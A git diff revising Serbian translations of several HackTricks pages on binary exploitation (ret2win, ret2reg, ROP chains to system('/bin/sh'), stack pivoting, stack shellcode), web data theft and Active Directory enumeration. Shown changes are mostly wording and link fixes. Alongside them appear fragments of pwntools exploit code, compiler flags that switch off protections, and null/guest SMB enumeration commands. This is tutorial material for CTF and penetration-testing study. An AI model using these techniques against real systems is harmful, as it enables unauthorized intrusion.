@ -43,7 +43,7 @@ p.interactive()
```
## Ret2reg
Slično, ako znamo da funkcija vraća adresu na kojoj je sačuvan shellcode, možemo iskoristiti **`call eax`** ili **`jmp eax`** instrukcije (poznate kao **ret2eax** tehnika), nudeći još jedan način za izvršavanje našeg shellcode-a. Baš kao eax, **bilo koji drugi registar** koji sadrži zanimljivu adresu može se koristiti (**ret2reg**).
Slično, ako znamo da funkcija vraća adresu na kojoj je sačuvan shellcode, možemo iskoristiti **`call eax`** ili **`jmp eax`** instrukcije (poznate kao **ret2eax** tehnika), nudeći još jedan način za izvršavanje našeg shellcode-a. Baš kao i eax, **bilo koji drugi registar** koji sadrži zanimljivu adresu može se koristiti (**ret2reg**).
### Primer
@ -52,7 +52,7 @@ Možete pronaći primer ovde: [https://ir0nstone.gitbook.io/notes/types/stack/re
## Zaštite
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Ako stek nije izvršiv, ovo neće pomoći jer moramo staviti shellcode u stek i skočiti da ga izvršimo.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Ove zaštite mogu otežati pronalaženje instrukcije za skakanje na esp ili bilo koji drugi registar.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Ove zaštite mogu otežati pronalaženje instrukcije za skakanje na esp ili bilo koji drugi registar.
## Reference

View File

@ -4,7 +4,7 @@
## Osnovne informacije
**Ret2win** izazovi su popularna kategorija u **Capture The Flag (CTF)** takmičenjima, posebno u zadacima koji uključuju **binary exploitation**. Cilj je iskoristiti ranjivost u datom binarnom fajlu da se izvrši određena, neinvokirana funkcija unutar binarnog fajla, često nazvana nešto poput `win`, `flag`, itd. Ova funkcija, kada se izvrši, obično ispisuje zastavicu ili poruku o uspehu. Izazov obično uključuje prepisivanje **povratne adrese** na steku kako bi se preusmerio tok izvršenja na željenu funkciju. Evo detaljnijeg objašnjenja sa primerima:
**Ret2win** izazovi su popularna kategorija u **Capture The Flag (CTF)** takmičenjima, posebno u zadacima koji uključuju **binary exploitation**. Cilj je iskoristiti ranjivost u datom binarnom fajlu kako bi se izvršila određena, neinvokirana funkcija unutar binarnog fajla, često nazvana nešto poput `win`, `flag`, itd. Ova funkcija, kada se izvrši, obično ispisuje zastavicu ili poruku o uspehu. Izazov obično uključuje prepisivanje **povratne adrese** na steku kako bi se preusmerio tok izvršenja na željenu funkciju. Evo detaljnijeg objašnjenja sa primerima:
### C primer
@ -65,12 +65,12 @@ objdump -d vulnerable | grep win
```
Ova komanda će vam prikazati asembler funkcije `win`, uključujući njenu početnu adresu.&#x20;
Python skripta šalje pažljivo oblikovanu poruku koja, kada je obrađena od strane `vulnerable_function`, preplavljuje bafer i prepisuje adresu povratka na steku sa adresom `win`. Kada `vulnerable_function` vrati, umesto da se vrati na `main` ili izađe, skače na `win`, i poruka se ispisuje.
Python skripta šalje pažljivo oblikovanu poruku koja, kada je obradi `vulnerable_function`, preplavi bafer i prepisuje adresu povratka na steku sa adresom `win`. Kada `vulnerable_function` vrati, umesto da se vrati na `main` ili izađe, skače na `win`, i poruka se ispisuje.
## Zaštite
- [**PIE**](../common-binary-protections-and-bypasses/pie/) **treba da bude onemogućena** kako bi adresa bila pouzdana tokom izvršavanja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i biće vam potrebna neka leak da biste saznali gde je funkcija win učitana. U nekim slučajevima, kada funkcija koja uzrokuje prelivanje bude `read` ili slična, možete izvršiti **Delimično Prepisivanje** od 1 ili 2 bajta da biste promenili adresu povratka na funkciju win. Zbog načina na koji ASLR funkcioniše, poslednja tri heksadecimalna nibbla nisu nasumična, tako da postoji **1/16 šanse** (1 nibble) da dobijete ispravnu adresu povratka.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) takođe treba da budu onemogućene ili kompromitovana EIP adresa povratka nikada neće biti praćena.
- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **treba da bude onemogućen** da bi adresa bila pouzdana tokom izvršavanja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i biće vam potrebna neka leak da biste saznali gde je funkcija win učitana. U nekim slučajevima, kada funkcija koja uzrokuje prelivanje bude `read` ili slična, možete izvršiti **Delimično Prepisivanje** od 1 ili 2 bajta da promenite adresu povratka na funkciju win. Zbog načina na koji ASLR funkcioniše, poslednja tri heksadecimalna nibbla nisu nasumična, tako da postoji **1/16 šanse** (1 nibble) da dobijete ispravnu adresu povratka.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) takođe treba da budu onemogućeni ili kompromitovana EIP adresa povratka nikada neće biti praćena.
## Ostali primeri & Reference
@ -82,10 +82,10 @@ Python skripta šalje pažljivo oblikovanu poruku koja, kada je obrađena od str
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
- 64 bita, bez ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
- 32 bita, bez ASLR, dvostruko malo prelivanje, prvo prelivanje steka i povećanje veličine drugog prelivanja
- 32 bita, bez ASLR, dvostruko malo prelivanje, prvo preplavi stek i poveća veličinu drugog prelivanja
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bita, relro, bez kanarija, nx, bez pie, format string za prepisivanje adrese `fflush` sa funkcijom win (ret2win)
- 32 bita, relro, bez kanarinca, nx, bez pie, format string za prepisivanje adrese `fflush` sa funkcijom win (ret2win)
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
- 64 bita, relro, bez kanarija, nx, pie. Delimično prepisivanje za pozivanje funkcije win (ret2win)
- 64 bita, relro, bez kanarinca, nx, pie. Delimično prepisivanje za pozivanje funkcije win (ret2win)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -9,8 +9,8 @@
### Kako ROP Funkcioniše
1. **Otimaње Kontrole Tok**: Prvo, napadač treba da otme kontrolu toka programa, obično iskorišćavanjem buffer overflow-a da bi prepisao sačuvanu adresu povratka na steku.
2. **Povezivanje Gadgeta**: Napadač zatim pažljivo bira i povezuje gadgete da bi izvršio željene akcije. Ovo može uključivati postavljanje argumenata za poziv funkcije, pozivanje funkcije (npr., `system("/bin/sh")`), i rukovanje svim potrebnim čišćenjem ili dodatnim operacijama.
3. **Izvršenje Payload-a**: Kada ranjiva funkcija vrati, umesto da se vrati na legitimnu lokaciju, počinje da izvršava lanac gadgeta.
2. **Povezivanje Gadgeta**: Napadač zatim pažljivo bira i povezuje gadgete da bi izvršio željene radnje. To može uključivati postavljanje argumenata za poziv funkcije, pozivanje funkcije (npr., `system("/bin/sh")`), i rukovanje svim potrebnim čišćenjem ili dodatnim operacijama.
3. **Izvršavanje Payload-a**: Kada ranjiva funkcija vrati, umesto da se vrati na legitimnu lokaciju, počinje da izvršava lanac gadgeta.
### Alati
@ -20,7 +20,7 @@ Obično se gadgeti mogu pronaći koristeći **[ROPgadget](https://github.com/Jon
### **x86 (32-bit) Konvencije Poziva**
- **cdecl**: Pozivatelj čisti stek. Argumenti funkcije se stavljaju na stek obrnutim redosledom (s desna na levo). **Argumenti se stavljaju na stek s desna na levo.**
- **cdecl**: Pozivaoc čisti stek. Argumenti funkcije se stavljaju na stek u obrnutom redosledu (s desna na levo). **Argumenti se stavljaju na stek s desna na levo.**
- **stdcall**: Slično cdecl, ali je pozvana funkcija odgovorna za čišćenje steka.
### **Pronalaženje Gadgeta**
@ -30,16 +30,16 @@ Prvo, pretpostavimo da smo identifikovali potrebne gadgete unutar binarnog fajla
- `pop eax; ret`: Ovaj gadget uzima gornju vrednost steka u `EAX` registar i zatim se vraća, omogućavajući nam kontrolu nad `EAX`.
- `pop ebx; ret`: Slično prethodnom, ali za `EBX` registar, omogućavajući kontrolu nad `EBX`.
- `mov [ebx], eax; ret`: Premesti vrednost iz `EAX` u memorijsku lokaciju na koju pokazuje `EBX` i zatim se vraća. Ovo se često naziva **write-what-where gadget**.
- Pored toga, imamo adresu `system()` funkcije dostupnu.
- Pored toga, imamo adresu funkcije `system()` dostupnu.
### **ROP Lanac**
Koristeći **pwntools**, pripremamo stek za izvršenje ROP lanca na sledeći način, sa ciljem da izvršimo `system('/bin/sh')`, obratite pažnju kako lanac počinje sa:
Koristeći **pwntools**, pripremamo stek za izvršavanje ROP lanca na sledeći način sa ciljem da izvršimo `system('/bin/sh')`, obratite pažnju kako lanac počinje sa:
1. `ret` instrukcijom za svrhe poravnanja (opciono)
2. Adresom `system` funkcije (pretpostavljajući da je ASLR onemogućen i da je libc poznat, više informacija u [**Ret2lib**](ret2lib/))
2. Adresom funkcije `system` (pretpostavljajući da je ASLR onemogućen i poznat libc, više informacija u [**Ret2lib**](ret2lib/index.html))
3. Mesto za adresu povratka iz `system()`
4. Adresom stringa `"/bin/sh"` (parametar za system funkciju)
4. Adresom stringa `"/bin/sh"` (parametar za funkciju system)
```python
from pwn import *
@ -85,7 +85,7 @@ p.interactive()
Za naše potrebe, fokusiraćemo se na gadgete koji će nam omogućiti da postavimo **RDI** registar (da prenesemo **"/bin/sh"** string kao argument za **system()**) i zatim pozovemo **system()** funkciju. Pretpostavićemo da smo identifikovali sledeće gadgete:
- **pop rdi; ret**: Uzimanje gornje vrednosti steka u **RDI** i zatim vraćanje. Neophodno za postavljanje našeg argumenta za **system()**.
- **pop rdi; ret**: Uzimanje gornje vrednosti steka u **RDI** i zatim vraćanje. Osnovno za postavljanje našeg argumenta za **system()**.
- **ret**: Jednostavno vraćanje, korisno za poravnavanje steka u nekim scenarijima.
I znamo adresu **system()** funkcije.
@ -131,27 +131,27 @@ U ovom primeru:
- Koristimo **`pop rdi; ret`** gadget da postavimo **`RDI`** na adresu **`"/bin/sh"`**.
- Direktno skačemo na **`system()`** nakon postavljanja **`RDI`**, sa adresom **system()** u lancu.
- **`ret_gadget`** se koristi za poravnanje ako ciljno okruženje to zahteva, što je češće u **x64** da bi se osiguralo pravilno poravnanje steka pre pozivanja funkcija.
- **`ret_gadget`** se koristi za poravnavanje ako ciljno okruženje to zahteva, što je češće u **x64** da bi se osiguralo pravilno poravnavanje steka pre pozivanja funkcija.
### Poravnanje Steka
### Poravnavanje Steka
**x86-64 ABI** osigurava da je **stek poravnat na 16 bajtova** kada se izvrši **call instrukcija**. **LIBC**, da optimizuje performanse, **koristi SSE instrukcije** (kao što je **movaps**) koje zahtevaju ovo poravnanje. Ako stek nije pravilno poravnat (što znači da **RSP** nije višekratnik 16), pozivi funkcijama kao što je **system** će propasti u **ROP lancu**. Da biste to ispravili, jednostavno dodajte **ret gadget** pre pozivanja **system** u vašem ROP lancu.
**x86-64 ABI** osigurava da je **stek poravnat na 16 bajtova** kada se izvrši **call instrukcija**. **LIBC**, da optimizuje performanse, **koristi SSE instrukcije** (kao što je **movaps**) koje zahtevaju ovo poravnavanje. Ako stek nije pravilno poravnat (što znači da **RSP** nije višekratnik od 16), pozivi funkcijama kao što je **system** će propasti u **ROP lancu**. Da biste to ispravili, jednostavno dodajte **ret gadget** pre pozivanja **system** u vašem ROP lancu.
## Glavna razlika između x86 i x64
> [!TIP]
> Pošto x64 koristi registre za prvih nekoliko argumenata, često zahteva manje gadgeta nego x86 za jednostavne pozive funkcija, ali pronalaženje i povezivanje pravih gadgeta može biti složenije zbog povećanog broja registara i većeg adresnog prostora. Povećani broj registara i veći adresni prostor u **x64** arhitekturi pružaju i prilike i izazove za razvoj eksploatacija, posebno u kontekstu Programiranja Orijentisanog na Povratak (ROP).
> Pošto x64 koristi registre za prvih nekoliko argumenata, često zahteva manje gadgeta nego x86 za jednostavne pozive funkcija, ali pronalaženje i povezivanje pravih gadgeta može biti složenije zbog povećanog broja registara i većeg adresnog prostora. Povećan broj registara i veći adresni prostor u **x64** arhitekturi pružaju i prilike i izazove za razvoj eksploatacija, posebno u kontekstu Programiranja Orijentisanog na Povratak (ROP).
## Zaštite
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/)
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html)
## Ostali Primeri & Reference
## Ostali Primeri i Reference
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
## ROP zasnovane tehnike
## Tehnike zasnovane na ROP-u
Primetite da je ROP samo tehnika za izvršavanje proizvoljnog koda. Na osnovu ROP-a razvijene su mnoge Ret2XXX tehnike:
@ -161,7 +161,7 @@ Primetite da je ROP samo tehnika za izvršavanje proizvoljnog koda. Na osnovu RO
ret2lib/
{{#endref}}
- **Ret2Syscall**: Koristi ROP za pripremu poziva syscall-u, npr. `execve`, i izvršava proizvoljne komande.
- **Ret2Syscall**: Koristi ROP za pripremu poziva sistemskog poziva, npr. `execve`, i izvršava proizvoljne komande.
{{#ref}}
rop-syscall-execv.md

View File

@ -4,7 +4,7 @@
## Osnovne informacije
Ova tehnika koristi sposobnost manipulacije **Base Pointer (EBP)** za povezivanje izvršavanja više funkcija kroz pažljivo korišćenje EBP registra i `leave; ret` instrukcijske sekvence.
Ova tehnika koristi sposobnost manipulacije **Base Pointer (EBP)** za povezivanje izvršavanja više funkcija kroz pažljivu upotrebu EBP registra i `leave; ret` instrukcijske sekvence.
Kao podsetnik, **`leave`** u suštini znači:
```
@ -12,37 +12,37 @@ mov esp, ebp
pop ebp
ret
```
I kao što je **EBP u steku** pre EIP-a, moguće je kontrolisati ga kontrolišući stek.
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
### EBP2Ret
Ova tehnika je posebno korisna kada možete **promeniti EBP registar, ali nemate direktan način da promenite EIP registar**. Ona koristi ponašanje funkcija kada završe izvršavanje.
Ako, tokom izvršavanja `fvuln`, uspete da injektujete **lažni EBP** u stek koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shellcode-a (plus 4 bajta da se uzme u obzir `pop` operacija), možete indirektno kontrolisati EIP. Kada `fvuln` vrati, ESP se postavlja na ovu kreiranu lokaciju, a naredna `pop` operacija smanjuje ESP za 4, **efektivno ga usmeravajući na adresu koju je napadač postavio tamo.**\
Ako, tokom izvršavanja `fvuln`, uspete da injektujete **lažni EBP** u stek koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shellcode-a (plus 4 bajta da se uzme u obzir `pop` operacija), možete indirektno kontrolisati EIP. Kada `fvuln` vrati, ESP se postavlja na ovu kreiranu lokaciju, a naredna `pop` operacija smanjuje ESP za 4, **efektivno ga usmeravajući na adresu koju je napadač sačuvao tamo.**\
Obratite pažnju da **morate znati 2 adrese**: onu na koju će ESP ići, gde ćete morati da upišete adresu na koju pokazuje ESP.
#### Konstrukcija Eksploita
#### Exploit Construction
Prvo morate znati **adresu na kojoj možete pisati proizvoljne podatke / adrese**. ESP će pokazivati ovde i **izvršiti prvi `ret`**.
Prvo morate znati **adresu na koju možete pisati proizvoljne podatke / adrese**. ESP će pokazivati ovde i **izvršiti prvi `ret`**.
Zatim, morate znati adresu koju koristi `ret` koja će **izvršiti proizvoljni kod**. Možete koristiti:
- Validnu [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresu.
- Adresu **`system()`** praćenu **4 bajta smeća** i adresu `"/bin/sh"` (x86 bitovi).
- Adresu **`system()`** praćenu sa **4 junk bajta** i adresom `"/bin/sh"` (x86 bitovi).
- Adresu **`jump esp;`** gadgeta ([**ret2esp**](ret2esp-ret2reg.md)) praćenu **shellcode-om** koji treba izvršiti.
- Neki [**ROP**](rop-return-oriented-programing.md) lanac.
Zapamtite da pre bilo koje od ovih adresa u kontrolisanom delu memorije, mora biti **`4` bajta** zbog **`pop`** dela `leave` instrukcije. Bilo bi moguće zloupotrebiti ovih 4B da postavite **drugi lažni EBP** i nastavite sa kontrolisanjem izvršavanja.
#### Off-By-One Eksploit
#### Off-By-One Exploit
Postoji specifična varijanta ove tehnike poznata kao "Off-By-One Eksploit". Koristi se kada možete **samo modifikovati najmanje značajan bajt EBP-a**. U takvom slučaju, memorijska lokacija koja čuva adresu na koju treba skočiti sa **`ret`** mora deliti prva tri bajta sa EBP-om, omogućavajući sličnu manipulaciju sa više ograničenim uslovima.
Postoji specifična varijanta ove tehnike poznata kao "Off-By-One Exploit". Koristi se kada možete **samo modifikovati najmanje značajan bajt EBP-a**. U takvom slučaju, memorijska lokacija koja čuva adresu na koju treba skočiti sa **`ret`** mora deliti prva tri bajta sa EBP-om, omogućavajući sličnu manipulaciju sa strožim uslovima.
### **EBP Lanci**
### **EBP Chaining**
Dakle, postavljanjem kontrolisane adrese u `EBP` unos steka i adrese za `leave; ret` u `EIP`, moguće je **premestiti `ESP` na kontrolisanu `EBP` adresu iz steka**.
Stoga, postavljanjem kontrolisane adrese u `EBP` unos steka i adrese za `leave; ret` u `EIP`, moguće je **premestiti `ESP` na kontrolisanu `EBP` adresu iz steka**.
Sada je **`ESP`** kontrolisan i pokazuje na željenu adresu, a sledeća instrukcija za izvršavanje je `RET`. Da biste to zloupotrebili, moguće je postaviti na kontrolisano mesto ESP-a ovo:
Sada je **`ESP`** kontrolisan i pokazuje na željenu adresu, a sledeća instrukcija za izvršavanje je `RET`. Da biste to zloupotrebili, moguće je postaviti u kontrolisano ESP mesto ovo:
- **`&(next fake EBP)`** -> Učitaj novi EBP zbog `pop ebp` iz `leave` instrukcije
- **`system()`** -> Pozvan od strane `ret`
@ -51,7 +51,7 @@ Sada je **`ESP`** kontrolisan i pokazuje na željenu adresu, a sledeća instrukc
U suštini, na ovaj način je moguće povezati nekoliko lažnih EBP-ova da kontrolišu tok programa.
Ovo je kao [ret2lib](ret2lib/), ali složenije bez očigledne koristi, ali bi moglo biti zanimljivo u nekim ivicama.
Ovo je kao [ret2lib](ret2lib/index.html), ali složenije bez očigledne koristi, ali bi moglo biti zanimljivo u nekim ivicama.
Štaviše, ovde imate [**primer izazova**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) koji koristi ovu tehniku sa **stack leak** da pozove pobedničku funkciju. Ovo je konačni payload sa stranice:
```python
@ -120,7 +120,7 @@ ret # return
### **`pop rsp`** gadget
[**Na ovoj stranici**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) možete pronaći primer korišćenja ove tehnike. Za ovaj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, a tu je bio **`pop rsp` gadget** i postoji **leak sa steka**:
[**Na ovoj stranici**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) možete pronaći primer korišćenja ove tehnike. Za ovaj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, a postojala je **`pop rsp` gadget** i postoji **leak sa steka**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

View File

@ -34,8 +34,8 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-fno-stack-protector`: Onemogućava zaštitu steka.
- `-z execstack`: Čini stek izvršivim, što je neophodno za izvršavanje shellcode-a smeštenog na steku.
- `-no-pie`: Onemogućava poziciono nezavisne izvršne datoteke, olakšavajući predviđanje memorijske adrese na kojoj će se naš shellcode nalaziti.
- `-m32`: Kompajlira program kao 32-bitnu izvršnu datoteku, često korišćenu zbog jednostavnosti u razvoju eksploata.
- `-no-pie`: Onemogućava Position Independent Executable, olakšavajući predviđanje memorijske adrese na kojoj će se nalaziti naš shellcode.
- `-m32`: Kompajlira program kao 32-bitni izvršni fajl, često korišćen za jednostavnost u razvoju eksploata.
### Python Exploit using Pwntools
@ -68,12 +68,12 @@ p.interactive()
```
Ovaj skript konstruira payload koji se sastoji od **NOP slide**, **shellcode**, a zatim prepisuje **EIP** sa adresom koja pokazuje na NOP slide, osiguravajući da se shellcode izvrši.
**NOP slide** (`asm('nop')`) se koristi za povećanje šanse da će izvršenje "kliznuti" u naš shellcode bez obzira na tačnu adresu. Prilagodite `p32()` argument na početnu adresu vašeg bafera plus offset da biste sleteli u NOP slide.
**NOP slide** (`asm('nop')`) se koristi za povećanje šanse da će izvršenje "kliznuti" u naš shellcode bez obzira na tačnu adresu. Prilagodite `p32()` argument na početnu adresu vašeg bafera plus pomeraj da biste sleteli u NOP slide.
## Protekcije
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **treba da bude onemogućen** da bi adresa bila pouzdana tokom izvršenja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i biće vam potrebna neka leak da biste saznali gde je win funkcija učitana.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) takođe treba da budu onemogućene ili prepisana EIP adresa za povratak nikada neće biti praćena.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **treba da bude onemogućen** da bi adresa bila pouzdana tokom izvršenja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i biće vam potrebna neka leak da biste saznali gde je win funkcija učitana.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) takođe treba da budu onemogućeni ili kompromitovana EIP adresa povratka nikada neće biti praćena.
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** zaštita bi sprečila izvršenje shellcode unutar steka jer ta oblast neće biti izvršna.
## Ostali Primeri & Reference
@ -82,8 +82,8 @@ Ovaj skript konstruira payload koji se sastoji od **NOP slide**, **shellcode**,
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64bit, ASLR sa leak-om adrese steka, napiši shellcode i skoči na njega
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32 bit, ASLR sa leak-om adrese steka, napiši shellcode i skoči na njega
- 32 bit, ASLR sa leak-om steka, napiši shellcode i skoči na njega
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32 bit, ASLR sa leak-om adrese steka, poređenje da se spreči poziv na exit(), prepiši promenljivu sa vrednošću i napiši shellcode i skoči na njega
- 32 bit, ASLR sa leak-om steka, poređenje da se spreči poziv na exit(), prepiši promenljivu sa vrednošću i napiši shellcode i skoči na njega
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,13 +1,13 @@
# Krađa Osetljivih Informacija putem Otkrića sa Veba
# Krađa Osetljivih Informacija sa Veba
{{#include ./banners/hacktricks-training.md}}
Ako u nekom trenutku pronađete **vеб страницу koja vam prikazuje osetljive informacije na osnovu vaše sesije**: Možda odražava kolačiće, ili štampa ili CC detalje ili bilo koje druge osetljive informacije, možete pokušati da ih ukradete.\
Evo glavnih načina na koje možete pokušati da to postignete:
Ovde vam predstavljam glavne načine na koje možete pokušati da to postignete:
- [**CORS zaobilaženje**](pentesting-web/cors-bypass.md): Ako možete da zaobiđete CORS zaglavlja, moći ćete da ukradete informacije izvršavajući Ajax zahtev za zloćudnu stranicu.
- [**XSS**](pentesting-web/xss-cross-site-scripting/): Ako pronađete XSS ranjivost na stranici, možda ćete moći da je iskoristite da ukradete informacije.
- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): Ako ne možete da injektujete XSS oznake, i dalje možete da ukradete informacije koristeći druge uobičajene HTML oznake.
- [**XSS**](pentesting-web/xss-cross-site-scripting/index.html): Ako pronađete XSS ranjivost na stranici, možda ćete moći da je iskoristite da ukradete informacije.
- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/index.html): Ako ne možete da injektujete XSS oznake, i dalje možete da ukradete informacije koristeći druge regularne HTML oznake.
- [**Clickjaking**](pentesting-web/clickjacking.md): Ako ne postoji zaštita protiv ovog napada, možda ćete moći da prevarite korisnika da vam pošalje osetljive podatke (primer [ovde](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
{{#include ./banners/hacktricks-training.md}}

View File

@ -1,13 +1,13 @@
# Krađa Osetljivih Informacija sa Weba
# Krađa Osetljivih Informacija sa Veba
{{#include ../banners/hacktricks-training.md}}
Ako u nekom trenutku pronađete **web stranicu koja vam prikazuje osetljive informacije na osnovu vaše sesije**: Možda odražava kolačiće, ili štampa ili CC detalje ili bilo koje druge osetljive informacije, možete pokušati da ih ukradete.\
Ako u nekom trenutku pronađete **vеб страницу koja vam prikazuje osetljive informacije na osnovu vaše sesije**: Možda odražava kolačiće, ili štampa ili CC detalje ili bilo koje druge osetljive informacije, možete pokušati da ih ukradete.\
Ovde vam predstavljam glavne načine na koje možete pokušati da to postignete:
- [**CORS zaobilaženje**](../pentesting-web/cors-bypass.md): Ako možete da zaobiđete CORS zaglavlja, moći ćete da ukradete informacije izvršavajući Ajax zahtev za zloćudnu stranicu.
- [**XSS**](../pentesting-web/xss-cross-site-scripting/): Ako pronađete XSS ranjivost na stranici, možda ćete moći da je iskoristite da ukradete informacije.
- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/): Ako ne možete da injektujete XSS oznake, i dalje možete da ukradete informacije koristeći druge regularne HTML oznake.
- [**CORS bypass**](../pentesting-web/cors-bypass.md): Ako možete da zaobiđete CORS zaglavlja, moći ćete da ukradete informacije izvršavajući Ajax zahtev za zloćudnu stranicu.
- [**XSS**](../pentesting-web/xss-cross-site-scripting/index.html): Ako pronađete XSS ranjivost na stranici, možda ćete moći da je iskoristite da ukradete informacije.
- [**Danging Markup**](../pentesting-web/dangling-markup-html-scriptless-injection/index.html): Ako ne možete da injektujete XSS oznake, i dalje možete da ukradete informacije koristeći druge regularne HTML oznake.
- [**Clickjaking**](../pentesting-web/clickjacking.md): Ako ne postoji zaštita protiv ovog napada, možda ćete moći da prevarite korisnika da vam pošalje osetljive podatke (primer [ovde](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
{{#include ../banners/hacktricks-training.md}}

View File

@ -45,7 +45,7 @@ Ako imate pristup AD okruženju, ali nemate nikakve kredencijale/sesije, možete
- Enumeracija DNS-a može dati informacije o ključnim serverima u domenu kao što su web, štampači, deljenja, vpn, mediji, itd.
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- Pogledajte opštu [**Pentesting Metodologiju**](../../generic-methodologies-and-resources/pentesting-methodology.md) da biste pronašli više informacija o tome kako to uraditi.
- **Proverite za null i Guest pristup na smb uslugama** (ovo neće raditi na modernim verzijama Windows-a):
- **Proverite pristup bez kredencijala i gostujući pristup na smb uslugama** (ovo neće raditi na modernim verzijama Windows-a):
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
@ -69,14 +69,14 @@ Ako imate pristup AD okruženju, ali nemate nikakve kredencijale/sesije, možete
- Prikupite kredencijale **izlažući** [**lažne UPnP usluge sa evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
- Izvucite korisnička imena/ime iz internih dokumenata, društvenih mreža, usluga (pretežno web) unutar domena i takođe iz javno dostupnih izvora.
- Ako pronađete puna imena zaposlenih u kompaniji, možete pokušati različite AD **konvencije korisničkih imena** (**[**pročitajte ovo**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Najčešće konvencije su: _ImePrezime_, _Ime.Prezime_, _ImePre_ (3 slova od svakog), _Ime.Pre_, _IPrezime_, _I.Prezime_, _PrezimeIme_, _Prezime.Ime_, _PrezimeI_, _Prezime.I_, 3 _nasumična slova i 3 nasumična broja_ (abc123).
- Ako pronađete puna imena zaposlenih u kompaniji, možete pokušati različite AD **konvencije korisničkih imena** (**[**pročitajte ovo**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Najčešće konvencije su: _ImePrezime_, _Ime.Prezime_, _ImePrz_ (3 slova od svakog), _Ime.Prz_, _IPrezime_, _I.Prezime_, _PrezimeIme_, _Prezime.Ime_, _PrezimeI_, _Prezime.I_, 3 _nasumična slova i 3 nasumična broja_ (abc123).
- Alati:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
### Enumeracija korisnika
- **Anonimna SMB/LDAP enumeracija:** Proverite [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/) i [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) stranice.
- **Anonimna SMB/LDAP enumeracija:** Proverite [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) i [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) stranice.
